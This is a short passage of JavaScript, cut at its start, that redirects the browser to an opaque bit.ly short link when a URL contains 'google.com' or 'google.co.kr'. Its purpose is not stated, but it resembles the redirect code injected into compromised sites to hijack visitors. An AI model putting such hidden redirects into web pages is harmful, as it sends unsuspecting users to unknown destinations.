else if (url.indexOf("google.com")>0){ window.location.href="http://bit.ly/2QTRfu0"; } else if (url.indexOf("google.co.kr")>0){ window.location.href="http://bit.ly/2QTRfu0"; }